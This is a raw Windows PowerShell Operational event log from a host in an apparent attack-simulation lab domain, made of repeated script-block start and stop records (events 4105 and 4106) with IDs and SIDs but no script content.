OpCode=On create calls
RecordNumber=2032402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032394
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032393
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032388
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032387
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032365
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032364
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032363
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032362
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
